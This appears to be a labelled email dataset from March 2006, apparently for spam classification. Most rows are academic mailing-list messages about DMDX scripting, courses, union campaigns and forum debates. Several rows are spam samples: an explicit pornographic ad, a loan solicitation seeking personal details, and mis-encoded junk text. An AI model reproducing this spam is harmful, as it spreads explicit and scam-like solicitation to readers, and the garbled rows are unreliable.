using E-mail to Groups ( UM Employees ). SARAHFEST IS TONIGHT! PLEASE COME OUT AND HEAR LIVE MUSIC WHILE YOU SUPPORT THE DOMESTIC VIOLENCE PROJECT! --Two Stick Restaurant @ 10pm/$5/21+ --fundraiser/concert proceeds benefit the Domestic Violence Project --featuring Colour Revolt from Jackson, MS, and Augustine from Memphis, TN --sponsored by the Lafayette-Oxford-University Chapter of the National Organization for Women and the Sarah Isom Center for Women ALSO, PLEASE JOIN US MONDAY, MARCH 27, FOR OUR BROWN BAG LUNCH LECTURE! --Screening and discussion of the 30-minute film _Spirit Doctors_ on Mexican-American folk healers, moderated by Dr. Betty Duggan, UM Adjunct Assistant Professor of Anthropology and Southern Studies These events and many others are part of our March celebration of Women's History Month! Visit our website for more info about our events: http://www.olemiss.edu/depts/sarah_isom_center/march.htm ----- For more information or assistance related to a disability, please contact: Jamie Dakin @ 915-5916 Visit 'Inside Ole Miss Online' for UM faculty & staff news at http://www.olemiss.edu/iom. Dr. Mary Carruth, Director Sarah Isom Center for Women Gender Studies 203 Johnson Commons P.O. Box 1848 University of Mississippi University, MS 38677 662/915-5916 http://www.olemiss.edu/depts/sarah_isom_center/ ",0,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 23 Mar 2006 15:06:46 -0500","US-CERT Cyber Security Bulletin SB06-082 -- Summary of Security Items from March 16 through March 22, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from March 16 through March 22, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from March 16 through March 22, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRCL+xH0pj593lg50AQLeaAf/XP69XM6A8Y/gyqYvwR9UpJjHCAQzrBAN 52PJE+v5glgMDdlhmGMVEQ7tIAylXXvW3WeXA7Yi2OxzZyQs6CJKHU4Ak3nt7dmE 3/D3ZR+JWxJqskDyzkEYfnpiQPhcfUKAuRlfAJx+iGk2exiFqtDFu4nhVqnr8Ll3 hOsteumeW0DVZXawFhhTnBBrFB1GN1iYH6n/B0S2mjrJJ5hCIKkGQ2T+hESE4GZt IesjGpd0ULV50Du4wcMCQrbA4VrScYOAzq0mdBfo15xX9TIAH9ohoiA7GMvAStul K8nV9rn2Ka1BCpzHzB5ogb7S2689xEx+zScsBc1BzJhoA9fXUwxg2g== =IVkG -----END PGP SIGNATURE-----",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Mar 2006 14:58:20 -0700",[DMDX] testing new sendmail," I had to update the version of sendmail running on psy1 that the DMDX list uses so I'm testing whether the petidomo aliases for the list are still active. If you get this I did thing correctly, if not, you never saw it anyway... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is no use in your walking five miles to fish when you can depend on being just as unsuccessful near home. - Mark Twain ",0,0 Yvonne Aburrow ,aut-announcements@bath.ac.uk,"Thu, 23 Mar 2006 16:12:34 +0000",Fwd: urgent campaign update 23 March 2006,"----- Forwarded message from matt.waddup@aut.org.uk ----- Date: Thu, 23 Mar 2006 12:31:21 -0000 From: Matt Waddup Subject: urgent campaign update 23 March 2006 Dear colleague, * Employers cancel talks with AUT and NATFHE because we are ""taking action"" * ""Serious"" offer will not now be made say UCEA * What mandate did UCEA actually have to scupper talks? * UCEA seek suspension of AUT action for ""at least a month"" * Employers agree to talk with Unison and support staff unions even though they are in dispute with UCEA subscribers on pensions * Students and Minister call for negotiations to break deadlock * Employers surrender the ""moral high ground"" says THES * Action reports continue to flood in * Were talks cancelled in your name? Ask your VC today Employers cancel talks Well, we were all set to finally begin negotiations with the employers next Tuesday. They had been telling us since the beginning of March that they had a ""serious"" offer to make. We said we were looking forward to meeting. Sally even had a letter published in this morning's Guardian saying ""we must hope that they are serious about making us a serious pay offer on Tuesday."" Read the full text of Sally's letter at http://education.guardian.co.uk/higher/comment/story/0,,1737393,00.html What mandate do UCEA have? Yet yesterday, they changed their mind and wrote to us saying that there could be no meeting until we agreed to suspend the action. This followed a UCEA Board meeting, but it was clear that this latest tactic had not been agreed by all institutions, with many local associations informing us that the first their VCs and Personnel Directors knew of UCEA's refusal to meet was when they read the AUT press release. You can read Sally's response to the employers' letter here http://www.aut.org.uk/index.cfm?articleid=1583, and read what The Guardian made of it here http://education.guardian.co.uk/higher/news/story/0,,1737057,00.html Suspend action for a month, UCEA tells unions The full extent of what the employers wanted the unions to do was revealed in the THES this morning which reported as follows: ""Ms Prudence [UCEA Chief Executive] said that any action should be suspended for the duration of the pay talks. With the second meeting scheduled for April 25 and perhaps another after that, this would mean halting industrial action for at least a month."" No meeting if in dispute rule only applies to AUT and NATFHE This could never be acceptable to AUT or NATFHE since it would remove any pressure on the employers to settle at an acceptable level. Indeed, UCEA have agreed to meet with the support staff unions but not us on 28 March even though they are also in dispute over staff pensions. AUT members have received tremendous backing from Unison colleagues locally in this dispute and for our part we will give full support within the law to our colleagues in Unison and other unions who are on strike to defend their pensions on the 28th. Attempts to divide and rule staff will fail. NUS provides strongest backing ever, help them to help us! Kat Fletcher, NUS President, has repeated her call for the employers to negotiate unconditionally with the unions. Kat also said: ""When top-up fees were being debated, vice-chancellors, employers and the government tried to make the teaching unions turn their back on the NUS and support the call for higher fees, arguing that they would benefit from students' cash. But the lecturers unions refused to capitulate. They stood side by side with us, not because it was the easy thing to do, but because it was the right thing to do. I'm proud to be a student unionist, I'm incredibly passionate about what I do, and that means I believe in collectivism, in democracy and in solidarity. That's why I won't let them divide us this time."" Kat deserves our thanks for this strong support, but please do more than that. Talk to your students. Explain our case, and explain that we want to get back to working normally - it is the employers who are dragging the dispute out and threatening students' futures. You can read Kat's full article at http://education.guardian.co.uk/higher/columnist/story/0,,1736034,00.htm l Minister calls for talks Meanwhile, in an answer to a parliamentary question tabled on 6 March 2006, Bill Rammell said that ""the Government would encourage both employers and unions to reach a speedy resolution on this matter, to ensure minimal further disruption to students."" For our part we are ready and willing to negotiate today, as we have been since last October. UCEA surrender ""high ground"" says THES In their editorial piece today, the THES states that: ""the new [UCEA] conditions will make an already intractable dispute even harder to resolve"". In noting that UCEA have accused the unions of rushing to confrontation, the piece continues ""Now they are sacrificing the high ground by doing the same themselves."" Keep your action reports coming in We are continuing to receive hundreds of reports of individual actions taken as part of this dispute. Read some of them here http://www.aut.org.uk/index.cfm?articleid=1576 If you have not submitted what you are doing yet, please do so at http://www.aut.org.uk/index.cfm?articleid=1548. What is your university's position? Find out today UCEA's new hard-line tactics were not cleared with all their institutions, but followed a small meeting of board members. As we have said, the first many universities knew that talks had been cancelled was when AUT told them. Write to your VC or HR Director asking them if the university agrees with the UCEA policy of refusing talks and prolonging the dispute. Thank you for taking the time to read this. All/best Matt Waddup, AGS campaigns For campaign info contact mailto.justine.stephens@aut.org.uk For press office contact mailto:dan.ashley@aut.org.uk --- end forwarded message --- Yvonne ________________________ Yvonne Aburrow Y.Aburrow@bath.ac.uk ----- End forwarded message -----",0,1 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Thu, 23 Mar 2006 19:28:26 -0600",[FGP] reminder -- chose papers for rest of semester,"Hi fine-grain seminar, This is just a quick reminder of what I said in class today about paper presentations. 1) The following students have not presented at all yet, and have not yet told me what paper they'd like to present: Katie Coons Tom Hartin 2) Most of you will be ""eligible"" for a lottery drawing to determine who has to present a second time. But by then the pickings for papers might not be what you want. If you'd like to pre-empt this possibility, you can volunteer for a second presentation now, in which case I'll try to give you your preferred paper and you'll help to save your fellow students from the lottery. I will hold the lottery just prior to next week's class, so if you want to volunteer please put in your requests soon. Note, the following students are exempt from the lottery for various reasons such as taking the class CR/NC or accepting my incentive to present just after spring break: Hari Angepat Peter Djeu Paul Navratil Hany Ramadan Bill ",0,0 Jillian Lee ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Mar 2006 23:32:33 -0600","[DMDX] Re: Error: ""Get TextMetrics failed""","Yeah, that worked, Thanks. I guess it had something to do with the fact that I was editing the rtfs on a mac, then transferring them to a windows box to run them in dmdx. Jillian On 3/22/06, Jonathan C. Forster wrote: > > Hmm, first time we've seen that. You must have some impressive combination > of styles or font's that throwing the Windows GetTextMetrics function for a > loop that DMDX uses to find out how big a display will be. I'd paste the > file into Wordpad and see if that doesn't fix it. Otherwise I'd pour it > through Notepad to strip out formatting and paste it back into a .RTF file. > > > > At 03:00 PM 3/22/2006 -0600, you wrote: > > Hello, > > I am trying to do a script for the facial emotional Stroop task. However, > whenever I try to run it, before even showing anything on the screen, it has > an error that says ""Get TextMetrics failed."" and then it aborts. I think > there's something wrong with my lines of instructions because that's where > it stops, but I don't know what it is. > > Here is an excerpt from the beginning of my script: > > > < wc > 000255000> ,768,32,60> > > > > ! Facial Stroop Unmasked; > > ! Neutral faces (blocks 1 & 2) Threatening faces (blocks 3 & 4); > > ! Item number ABCDEFF; > > ! A 1=unmasked 2=masked; > > ! BCD=picture number; > > ! B 0=angry 1=neutral; > > ! C 0=red 1=green 2=blue; > > ! D model ranges 1-9; > > ! E=block number; > > ! FF=item number in block; > > > > 0 ""Press SPACEBAR to start""; > > 0 ""In the following presentation"", ""you will see a cross > (+)"", ""on which to fixate your gaze"", ""then a face colored"", > ""red green or blue."", """"; > > 0 ""SAY the COLOR of the FACE"", ""into the microphone"", 0> ""as QUICKLY as possible!"", ""IGNORE the FACE ITSELF"", > """"; > > 0 ""Speak loudly with your mouth"", ""as close to the > microphone"", ""as you can."", """"; > > 0 ""A cross (+) will appear before each picture"", ""to help > you fixate your eyes on the correct"", ""area of the monitor."", 2>"" ""begin PICTURE PRESENTATION>""; > > 0 <% 59> /c; > > > > +1129101 g""+2"" <% 75> / * ""129""; > > 0 /c; > > +1102102 g""+2"" <% 75> / * ""102""; > > 0 /c; > > +1111103 g""+2"" <% 75> / * ""111""; > > 0 /c; > > > > Thanks, > > Jillian Lee > > Texas A&M University > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There is no use in your walking five miles to fish when you > can depend on being just as unsuccessful near home. > - Mark > Twain >",0,0 Linda Mccord ,dwilkins@sunrise.cs.olemiss.edu,"Fri, 24 Mar 2006 09:31:34 -0700",Russsian scenic Lady here doing ravishing blowjobb.," Best cumshotts on best darling Girls. http://musicnetplay.info/fpdfporn.htm?iSPhfd.fX,hj U_N_S_U_B_S_C_R_I_B_EE http://musicnetplay.info ",1,1 Aubrey Mcwilliams ,dwilkins@sunrise.cs.olemiss.edu,"Fri, 24 Mar 2006 14:44:14 +0800",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"bellflower callahan otis harold pellet learn l'oeil implosion huxley spontaneous tagging denominate platonic someplace assort camino triplett librate planck hershey argonne carburetor doff gaines ",1,0 Katie line ,DMDX@psy1.psych.arizona.edu,"Fri, 24 Mar 2006 11:29:18 +0100",remove stress,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! We will do the searching for you, use our special arrangements with lenders to find you the loan that YOU need. Give us your details and we will have them contact you with *no* obligation. You will be contacted by up to three lenders within the next 72 hours, at the time and number that you specify. We can call you at home or at work, and you tell us when. We can help. http://qilaje.tatehy.nphhu.com/approved/ pehecolufiwodgufawibuba ",1,1 Anna Borghi ,DMDX@psy1.psych.arizona.edu,"Fri, 24 Mar 2006 17:42:41 +0100",[DMDX] help with keyboard input,"Hi, I'm stuck with a silly problem that, however, i can't solve (!!) I'd like to run a priming exp (in italian), below you will find few lines of the script, but, although i did the timedx settings (Tastiera for keyboard works in timedx), when i try to run the exp I receive a ""input device selection keyboard failed"" message. Moreover I get an error when i try to exit the input device test, ie i have to close the program. Any help would be greatly appreciated. anna $ 0 ""istruzioni""; $ +1 ""+""/ / ""diffbodymD.avi.avi""/ / * ""la rana è sul tavolo""/ / ; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Anna M. Borghi Department of Psychology University of Bologna Viale Berti Pichat, 5 40127 Bologna - Italy phone: +39-051-2091838 fax: +39-051-243086 e-mail: annamaria.borghi@unibo.it web-page: http://gral.istc.cnr.it/borghi",0,1 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Fri, 24 Mar 2006 13:00:04 -0500","Network Maintenance - Week of March, 24 2006","Network Maintenance - Week of March, 24 2006 ID: 1333 Description: Device Reload - Lincoln School (Outreach) Disruption: Outage Campus: CAC Start Date: 03/28/2006 0700 End Date: 03/28/2006 0730 Summary: lr03-alex-alex will be reloaded to upgrade the router OS. No network connectivity will be available to the Lincoln School outreach location. Affected: lr03-alex-alex Type: Scheduled ---- ID: 1334 Description: Device Reload - 39 Easton Ave, 30 College Ave Disruption: Outage Campus: CAC Start Date: 03/28/2006 0700 End Date: 03/28/2006 0730 Summary: Lr01-eas-njh will be reloaded to upgrade the router OS. No network connectivity will be available to 39 and 30 Easton Avenue. Affected: lr01-eas-njh Type: Scheduled ---- ID: 1335 Description: Device Reload - Hill Hall Disruption: Outage Campus: Newark Start Date: 03/28/2006 0700 End Date: 03/28/2006 0730 Summary: No network connectivity will be available to networks uplinked through the ar01-hilh-hilh device. Affected: ar01-hilh-hilh Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 24 Mar 2006 14:05:19 -0700",[DMDX] Re: help with keyboard input,"Use the #keyboard device and +#999 keynames as detailed somewhere in the help. At 05:42 PM 3/24/2006 +0100, you wrote: >Hi, I'm stuck with a silly problem that, however, i can't solve (!!) >I'd like to run a priming exp (in italian), below you will find few lines >of the script, but, although i did the timedx settings (Tastiera for >keyboard works in timedx), when i try to run the exp I receive a ""input >device selection keyboard failed"" message. Moreover I get an error when i >try to exit the input device test, ie i have to close the program. >Any help would be greatly appreciated. >anna > > ""+V""> 2150> >$ >0 ""istruzioni""; >$ >+1 ""+""/ / ""diffbodymD.avi.avi""/ / * > ""la rana è sul tavolo""/ / ; > >^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >Anna M. Borghi >Department of Psychology >University of Bologna >Viale Berti Pichat, 5 >40127 Bologna - Italy >phone: +39-051-2091838 >fax: +39-051-243086 >e-mail: annamaria.borghi@unibo.it >web-page: http://gral.istc.cnr.it/borghi > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You have to learn to live with what you can't rise above. - Bruce Springstein",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Fri, 24 Mar 2006 15:37:40 -0600",P&H 7.34,"CS352-ers, For problem 7.34 on page 559, it says to use teh cache system described in exercise 7.32. Just ignore that first phrase. The rest of the problem gives you all the information you need to know about the cache. Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 dhc@lists.asce.org,dhc@lists.asce.org,"Fri, 24 Mar 2006 15:12:06 -0700",[dhc] Position in Montana,"Carroll College in Helena, Montana, is seeking to fill a tenure-track, faculty position in civil engineering with emphasis on water resources and environmental engineering. Our CE program is new, receiving ABET accreditation for the first time in 2001. Since then, ABET has awarded us its Innovation Award for our engineering and mathematics programs, and we have built a new CE Lab building with a fully equipped high-bay lab, a modern classroom, and offices. We have approximately 50 undergraduate students in civil engineering and another 25 students in our 3-2 engineering program. Carroll has a total enrollment of 1500 students. With the hope of drawing a larger pool of applicants, we are reopening our search and we have changed some of the requirements for the position, particularly as they pertain to Professional Licensure. For priority consideration, application materials should be received by March 31, 2006. Please distribute the attached announcement to individuals who might be interested in a faculty position in Montana with our new, highly successful civil engineering program. Thank you, John L. Scharf, Ph.D. Interim VP for Academic Affairs and Dean of the College (Normally) Chair, Department of Mathematics, Engineering, and Computer Science Carroll College 1601 North Benton Avenue Helena, MT 59625 Phone: (406) 447-4404 Cell: (406) 431-4006 Fax: (406) 447-5503 ",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Fri, 24 Mar 2006 16:23:49 -0600",Fwd: Reminder: AMD Processor talk on March 28th,"CS352-ers, I would encourage you to attend the following talk - it should be an interesting talk. SK Begin forwarded message: > From: ""Ravi Bhargava"" > Date: March 24, 2006 11:11:50 AM CST > To: ""Steve Keckler"" > Subject: Reminder: AMD Processor talk on March 28th > > Steve, > > Hi. I hope you will encouarage your 352 students to attend this talk > next > Tuesday. I'm sure they will find an industry perspective interesting. > > Thanks, > Ravi > > > SPEAKER: Michael Clark, AMD Fellow > TITLE : ""The AMD64 Microprocessor Architecture"" > HOST : EE382N Class (Prof. Lizy John) > DATE : Tuesday March 28th > TIME : 2:00pm - 3:00pm > PLACE : ACES 2.402 > > BIO: > Michael Clark is an AMD Fellow based in Austin, Texas. He has been > with AMD for > 13 years and has worked on the design and verification of the K5, K6, > K7 > (Athlon) and K8 (AMD64) microprocessor architectures. In the process, > he has > been granted 13 microprocessor patents and published two papers. > Currently, Mike > is managing a RTL logic team that is designing future AMD CPU core > microarchitectures. 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We MAY MISS the difference between (small) investors and big owners who control the boards. I would not volunteer to evaluate the happenings (Enron etc.): too much human vileness mixes together. Nafte was IMO a misconstrued political (-ly correct) slogan, and I refer to the elusiveness of ""free"" what we read below. Free is always very expensive. Politicians just CANNOT pursue any right idea, because they have to support the re-election of cronies/yeomen and the interest of their oowners. There is a dichotomy between countries as they are called (example: Mexico) and the clique that owns it. And the government, quite similarly to medieval King in Euiropian feudalism, is ""Primus inter pares"", the agreed upon representative of the ruling/owning segment. The 'econo-lords' today. (To Lewis' par about the Magna Charta: it was the era's development in European life: as I recall, (can't put my finger on it, sorry) there was some constitution ~1210 in Sicily, a ""Golden Bulla"" of a strong constitution in 1222 in Hungary, and movements in other countries as well. It was the growing importance of cities vs the overwhelmingly earlier agriculture-based post-Roman Empire turmoil. Beginning of the European (complex) Renaissance. - Concluding in the action of the ""4th state"" havenots in the French revolution. I do not see another option to improve upon the present e-feudal development either. It is early, but: Calling Dr. Guillotine... Regards to all involved JM --- complex-science@necsi.org wrote: > ""The 'Econ-Feudal' lord-class owns the governments, > maintains a formal democracy-like image by making > people vote for the 'big' system - then rule to > promote their own agendas irrespective of the > interest of the voters. "" > > > I think that is called ""Fascism,"" though I admit it > is beginning to look more like the global, corporate > feudal state now emerging. So, maybe feudalism is > the wave of the future? In the US, it is beginning > to look more like that every day. Just read the > editorial pages of the Wall Street Journal and > you'll get the drift. Certain powerful interests > want this in a BIG way. > > A good example of this occurred recently when the > NAFTA treaty came up for renewal. I don't know > anyone (except econ profs) who support this dog that > has cost thousands of American manufacturing jobs. > There was not enough support in Congress to renew it > until the White House goon squad intimidated the GOP > faithful to out-vote the Dems and renew NAFTA. More > jobs going to Mexico, and Ross Perot was right all > along about the giant ""sucking sound"" south of the > Border (I live in a Border community and we have > lost our manufacturing tax and job base to Mexico, > leaving us with the lower-value distribution jobs). > I hope the Dems bring NAFTA renewal up in the 2006 > elections, but I don't think they are smart enough > to play that card against their GOP opponents. They > are probably living off the same corporate paychecks > as the GOP! > > It's not like NAFTA is that good a deal for Mexico > either. Why do you think millions of them vote with > their feet to come to the US? The rich in Mexico > get richer and the poor sneak into the US, hoping > for a better deal here. About 22+ families own 80%+ > of Mexico, though they are being challenged by the > drug lords in that. So that is another aspect of > the global corporate feudal state - criminal > capitalism. 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Fax: +44-87-0912-4934 www.fidelity-international.com www.fidelity.co.uk ",1,0 Annalisa Setti ,DMDX@psy1.psych.arizona.edu,"Mon, 27 Mar 2006 16:02:12 +0200",[DMDX] priming exp problems,"Hi, I'm trying to run a priming exp with videos and pictures as primes and words/sentences as targets (script below). However when I run the exp the target appears only after the jpg primes, not after the video primes. Any suggestion would be highly appreciated. Thank you! Annalisa $ 0 ""You are going to see a fixation point (+), then an object""; 0 ""Press the spacebar to begin""; $ +1 ""+""/ / ""prototAexp1.wmv""/ / * ""la rana è sul tavolodv1"" / / ; +2 ""+""/ / ""prototypeA_annalisa.jpg""/ / * ""la rana è sul tavolo""/ / ; $ 0 ""Thank you, that's the end."";$ Annalisa Setti, Department of Psychology University of Bologna (Italy)",0,0 ,,,Re: Future economics," to CX-Sci from Lewis L Smith Thanks to Stan for the interesting historical note. Query --- Was there an influence of Fascism on hierarchy theory or is this another example of what evolutionary biologists call ""convergence"" ? Cordially. End ",0,0 ,,,Re: Future economics," to CX-Sci from Lewis L Smith Jerry has raised an important point which I have not seen considered elsewhere. All systems operate within an ""evironment"" composed of ecologies and other systems, an interact with them, but some systems have significant power to shape both those ecologies and the behavior of the other systems. This really is power writ large ! Cordially. End of message. ",0,0 """[Bruceg]���˸`�}�G�M��,�}�ѯ���3�X1����M�եu�n999����"" ",complex-science@necsi.org,"Tue, 05 Nov 1901 08:06:16 +0800","�u�n999��,�������@���P��§, �]�t�V����.����.�����T�X1��!BQMSQPL",[Dylan][bruceg@em.ca] �����`�����}�}�G�@�U! penal,1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Mar 2006 08:39:41 -0700",[DMDX] Re: priming exp problems,"Hmm, syntax looks ok which means you're into the voodoo realm of trying to guess what's busted. I'd try the shortcuts for bad video cards and see if that clears things up, other than that I'd try another video format rather than WMV. If converting your media isn't an option I'd try another video format with any old video just for a test, not sure I trust the WMV codec. People have had good success with MPG or MPEG video in the past. If you can't switch video formats you'll probably have to bust your video items into two halves like this: 1 ""+""/ / ""prototAexp1.wmv""/ ; +1 / * ""la rana è sul tavolodv1"" / / ; You probably also want to ditch the whole response scheme as you would appear to be using a regular binary response but that's another thing entirely. At the very least you want to bind the negative responses each item. At 04:02 PM 3/27/2006 +0200, you wrote: >Hi, >I'm trying to run a priming exp with videos and pictures as primes and >words/sentences >as targets (script below). However when I run the exp the target appears >only after the jpg primes, not after the video primes. >Any suggestion would be highly appreciated. >Thank you! >Annalisa > > > > 255000000> >$ >0 ""You are going to see a fixation point (+), then an object""; >0 ""Press the spacebar to begin""; >$ >+1 ""+""/ / ""prototAexp1.wmv""/ / * 700> ""la rana è sul tavolodv1"" / / ; >+2 ""+""/ / ""prototypeA_annalisa.jpg""/ >/ * ""la rana è sul tavolo""/ / ; >$ >0 ""Thank you, that's the end."";$ > >Annalisa Setti, > >Department of Psychology >University of Bologna (Italy) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am overqualified.",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Mon, 27 Mar 2006 08:03:19 -0600",office hours,"CS352-ers, As a reminder, I am traveling through Wednesday of this week so I will be unable to hold office hours. I do have a guest lecturer arranged for Tuesday, so class will be held and you will be responsible for the material presented. I'll see you in class on Thursday. Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 omexpres@olemiss.edu,undisclosed-recipients:;,"Mon, 27 Mar 2006 15:35:31 -0600",Open House,"This message is being sent using E-mail to Groups ( UM Employees ). Ole Miss Catering Cordially invites you to attend an Open House and Tasting Tuesday, April 4, 2006 1:00pm - 2:30PM Ole Miss Student Union Ballroom. Please Join Us! ",0,0 ,,,"Cells, brains & computers (continued)","(My previous post with this title was interrupted inadvertantly. This post continues from where the last one got cut off.) . . . . . . Peircean metaphysics (for a brief introduction to Peircean metaphysics, see Section 8 in [1]) and of the Principle of Computational Equivalence of Wolfram [2], according to which “all processes, whether they are produced by human effort or occur spontaneously in nature, can be viewed as computations”. If this analogy is valid, we may be justified to distinguish between two kinds of computers – the traditional computers based on solid-state transistors and future computers constructed on the basis of both solid-state semiconductors of electrons and what I began to call soft-state semiconductors of conformons (see [3] and my post dated March 16, 2006). The former may be referred to as the solid-state (SS) computers and the latter as soft/solid hybrid (SSH) computers. Primitive beginnings of soft/solid hybrid computers are already evident in the field of nanotechnology (see Frame #21 in the Power Point slide set mentioned above, and Reference [4]). Zeck and Fromherz [4] describe their version of SSH computer as follows: “A hybrid circuit of a semiconductor chip and synaptically connected neurons was implemented and characterized. Individual nerve cells from the snail Lymnaea stagnalis were immobilized on a silicon chip by microscopic picket fences of polyimide. The cells formed a network with electrical synapses after outgrowth in brain conditioned medium. Pairs of neurons were electronically interfaced for noninvasive stimulation and recording. Voltage pulses were applied to capacitive stimulator on he chip to excite the attached neuron. Signals were transmitted in the neuronal net and elicited an action potential in a second neuron. The postsynaptic excitation modulated the current of a transistor on the chip. The implementation of the silicon-neuron-neuron-silicon circuit constitutes a proof-of-principle experiment for the development of neuroelectronic systems to be used in studies on neuronal signal processing, neurocomputation, and neuroprosthetics.” It may well be that the neuroelectronic system described by Zeck and Fromherz foreshadows the emergence of the new species referred to above as ‘human/computer hybrids”. (Does anyone on this list know of any science fiction writers who have written about this possibility?) With all the best. Sung __________________________________________ Department of Pharmacology and Toxicology Rutgers University Piscataway, n.j. 08855 References: [1] Ji, S. (2006). Semiotics of Life: A Unified Theory of Molecular Machines, Cells, the Mind, Peirceans Signs and the Universe based on the Principle of Information-Energy Complementarity. Available at http://www.grlmc.com. [2] Wolfram, S. (2002). A New Kind of Science. Wolfram Media, Inc., Champaign, IL. P. 715. [3] Ji, S. (2006). Soft-state semiconductors of conformons. NECSI Discussion Forum, General Discussion, accessible through Google. [4] Zeck, G. and Fromherz, P. (2001). Noninvasive neuroelectronic interfacing with synaptically connected snail neurons immobilized on a semiconductor chip. Proc. Nat. Acad. Sci. US 98(18):10457-10462. ",0,1 ARL Communications ,,,"On the ARL Server (March 27, 2006)","On the ARL Server Week of March 27, 2006 The Role of Fair Use in Libraries and Education—Testimony from the Library Copyright Alliance ARL, ALA, AALL, MLA, and SLA Support the GPO Budget Request SPARC Partners with Theoretical Economics to Provide Top-Quality Open Access Research; New Journal an Alternative to Two High-Priced Commercial Publications ARL Membership Meeting, May 16–19 in Ottawa Living the Future 6: WOW!—Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5–8, 2006 Library Assessment Conference Call for Papers—Due April 15 Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 Job Posting: Technical Applications Development Manager for LibQUAL+™ and Statistics and Assessment Activities [PDF] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Yvonne Aburrow ,aut-announcements@bath.ac.uk,"Mon, 27 Mar 2006 16:51:04 +0100",UNISON / Amicus strike 28 March,"Hi all A few people have asked for information about the UNISON / Amicus strike. If you want to express solidarity by not crossing a picket line, you can always work from home, or if you have to come in, make a picketer a cup of tea. One of the lecturers from Bath Spa brought us some chocolate on the day of the AUT strike, and it was very welcome! Information about the strike here: http://www.unison.org.uk/pensions/why.asp (I can't find the equivalent info on the Amicus site, but if you want to look for it, the URL is http://www.amicustheunion.org/ ) Regards Yvonne ________________________ Yvonne Aburrow Y.Aburrow@bath.ac.uk ",0,1 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Mon, 27 Mar 2006 19:06:05 -0500",PAPER 14,"Andrew Cunningham arc39 EigenTrust Hector Garcia-Molina Attempting to deduce the trust values to place in entities and objects removed from oneself in the network, EigenTrust uses a system of ""entities rating entities"" to discover not just the trust that A places in B (in order to aggregate and so determine whether B should be trusted), but the aggregate trust placed in A by the network as a whole, via the observation that by asking ones friends, and ones friends of friends, and so forth, one creates a completely connected segment which should be equal to the entire network. This turns out to be a problem equivalent to solving for the principal eigenvector of a matrix whose entries represent localized trust value measurements. Key insights include the rarity of individual client-client interactions, leading to sparse matrix representation and relatively low coordination message overhead, and that piecewise computation of this matrix function converges relatively quickly, having each individual node calculate its own trust function (conceptually only, due to security flaw! In actuality, M deterministically-selected trust-manager peers calculate this value on behalf of each node). As the paper points out, the difficulty with this algorithm is that its end result is universally viewed, which means that 